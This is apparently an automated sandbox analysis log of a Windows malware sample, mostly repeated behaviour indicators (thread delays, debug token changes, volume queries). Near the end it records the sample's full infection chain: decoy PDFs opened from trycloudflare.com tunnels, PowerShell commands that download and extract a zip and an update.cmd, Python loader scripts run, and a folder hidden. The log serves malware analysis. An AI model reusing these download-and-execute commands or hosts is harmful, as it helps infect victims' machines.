Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7423	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2054	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5660	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4139	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6764	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7376	Thread sleep count: 7423 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7376	Thread sleep count: 2054 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7696	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7356	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7548	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7312	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7784	Thread sleep count: 5660 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep count: 4139 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7844	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3672	Thread sleep count: 6764 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2156	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4308	Thread sleep count: 288 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000019.00000002.1479867351.0000025C74120000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlly
Source: svchost.exe, 00000007.00000002.2483107108.000001F54522B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@}
Source: svchost.exe, 00000007.00000002.2485111218.000001F54A854000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000006.00000002.1322175654.0000023D457AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW16

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Windows\System32\cmd.exe	Section loaded: NULL target: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe protection: readonly	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: NULL target: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe protection: readonly	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: NULL target: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe protection: readonly	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\jnk8ai.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe hey.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe new.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe loader.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://gonna-truly-conflict-deserve.trycloudflare.com/a.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/update.cmd' -OutFile 'C:\Users\user\Downloads\update.cmd' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h "C:\Users\user\Downloads\Python"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "& { [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; invoke-webrequest -uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -outfile 'c:\users\user\downloads\jnk8ai.zip' }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "& { [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; invoke-webrequest -uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/update.cmd' -outfile 'c:\users\user\downloads\update.cmd' }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "& { [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; invoke-webrequest -uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -outfile 'c:\users\user\downloads\jnk8ai.zip' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "& { [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; invoke-webrequest -uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/update.cmd' -outfile 'c:\users\user\downloads\update.cmd' }"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.27629.0_x64__8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00_14.0.27323.0_x64__8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.VCLibs.140.00.UWPDesktop_14.0.27629.0_x64__8wekyb3d8bbwe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
